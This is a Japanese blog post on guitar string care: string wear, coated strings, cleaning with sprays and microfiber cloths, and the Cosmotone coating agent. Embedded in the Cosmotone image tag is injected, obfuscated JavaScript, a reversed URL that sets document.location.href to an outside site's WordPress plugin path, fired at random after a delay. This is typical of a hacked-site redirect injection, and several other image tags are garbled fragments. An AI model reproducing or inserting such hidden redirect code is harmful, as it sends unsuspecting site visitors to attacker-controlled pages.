ギター弦を長持ちさせるには

tokyo/wp-content/uploads/1000mura-icon.gif” width=”80″ height=”80″ />皆さん、こんにちは、メロウです。
前回ギター弦のお話をした関連で、今回は弦を長持ちさせるための普段の管理方法などをお話してみようと思います。

弦は張りたてが一番良く鳴るのは間違いありません。
グラシックギター弦などは柔らかいので、何日かたってからのほうが音程が安定するというのはありますが、基本的には張った当初が一番で、カレーみたいに1日寝かした方がいいなんてことはありません。

ところが、弦の張替えは色々と面倒が多い作業で、ギターに傷をつける危険が一番高いのもこの時です。
その意味でも、弦の性能がどれくらい持つか、と同時に、弦をいかに長持ちさせるか、というのも重要な課題だといえます。

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弦の交換周期はかなり個人差があり、どうなったら交換すべきか、というような明確な基準もありません。
中には切れるまで交換しない、という方がプロにさえいらっしゃいます。

実際、サスティンのなくなってしまった弦が心地よく感じたり、ある日に限って鳴り出したりることもよくある事なので、気にならなければあえて交換する必要はないのかも知れませんね。

ギターの弦が鳴らなくなるメカニズムは、弦そのものが伸びて粘りがなくなってしまう事と、弦の汚れや痛みでサスティンを失っていく事が2大要素です。

弦そのものが伸びてしまう事は避けようがなく、毎日弦を緩めていても問題は解決しません。
金属弦の場合、頻繁に伸縮を繰り返す事でかえって弦の寿命を縮めてしまうこともあります。
ネックへの負担という問題もありますから、どちらが良いかは判断はできませんが、私は演奏後に弦を緩めないタイプです。

弦の汚れや痛みは様々ですが、一番影響が大きいのは間違いなくワウンド弦の隙間に入る汗や皮脂です。
金属の特性でプレーン弦にはサビ、ワウンド弦には緑青(ろくしょう)が浮いてきますが、これと同時進行でワウンド弦の隙間に汚れが溜まっていくのですが、ワウンド弦は目に沿って掃除する事が難しいだけに厄介な問題なのです。

フレットとの圧迫により弦に凹みが出来たり、ナイロン製のクラシックギター弦は弾弦する部分がざらついて来たり、という事でも弦の性能は損なわれていきますが、ワウンド弦の隙間を埋める汚れやサビなどの影響に比べれば大した問題ではありません。
コーティング弦の主な目的も、単にサビや緑青を予防するだけでなく、目詰まりを防止する事にあります。

ドリルなどの回転体でワウンド弦の隙間を掃除できたら画期的だと思うのですが、軸の中心に弦を入れなければうまく行かないので簡単ではありません。
出来ない事はないとは思いますが、それを開発しても全体的な経済は潤わないから誰も作らないのでしょうか。

tokyo/wp-content/uploads/1903coating.jpg” />コーティング弦は塗装膜で覆われている分目詰まりしにくいので、確かに長持ちするのですが、その分高価で費用対効果は微妙です。
価格が倍近くするようなコーティング弦でひと月持たすか、一般的な弦を2週間に1度弦を張り替えるか、といったあたりが判断基準でしょうか。

どちらにせよ、使った後の弦の手入れはサビや緑青の防止には効果的ですが、下手に薬剤等をつけて磨くとかえって目を詰めてしまったり、コーティング弦の塗装膜を剥がしてしまう事もあります。

弦の防錆剤や潤滑剤などにスプレータイプが多いのも、何かに含ませて磨く方式だとかえって目を詰めてしまうからかも知れません。
スプレーだと弦の表側だけにしか溶液がかからないように思いますが、直接指で触れない弦の裏側はあまり汚れず皮脂等も入り込まないので、あえて何もしない方が良いとも言えます。
弦そのものより指板の方に多くかかってしまうのが悩ましいところですが・・・

ちなみに私は、粘り気がなくサラッとしていて香りもよいので、tokyo/wp-content/uploads/1903f444s.jpg” width=”46″ height=”151″ />フェルナンdスのFAST FINGER(444S)というスプレーを愛用しています。
この製品は指板にも悪影響がなく気に入っていますが、弦の寿命から見ればどんな製品でも吹付け過ぎは避けるべきです。

演奏後の手入れは、基本的にはスプレーをコットンパフに含ませてプレーン弦を磨くだけで、ワウンド弦は何もつけずに乾拭きします。
ワウンド弦を磨く時は、洗車用などとして売られているマイクロファイバーのクロス等にスプレーの吹きかけ、ワウンド弦の目に沿うように表側を拭いてやるのが効果的です。白い生地なら緑青や汚れが落ちるのがはっきりと分かります。

もうひとつの長持ち策として、弦を張る前に自分でコーティング剤を塗るという方法もあります。製品としてはtokyo/wp-content/uploads/1903cosmotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone.jpg” width=”34″ height=”131″ />コスモトーンが有名で、コーティング弦には及びませんが、それなりに効果があります。

ただし使い方が厄介で均一に塗るのが難しく、塗りすぎると最初から弦のきらびやかさを消してしまいます。
汗をかきやすい夏場はコーティング液自体の伸びも良くおすすめですが、冬場はあえて塗らない方がいいかもしれません。

世の中には毎日弦を張り替えるというツワモノもいますから、そういう人から見ればどうでもいい話ですが・・・

数年前から動画投稿しています。よろしければtokyo/wp-content/uploads/1100YouTubeMZ.gif” />も覗いてやって下さい。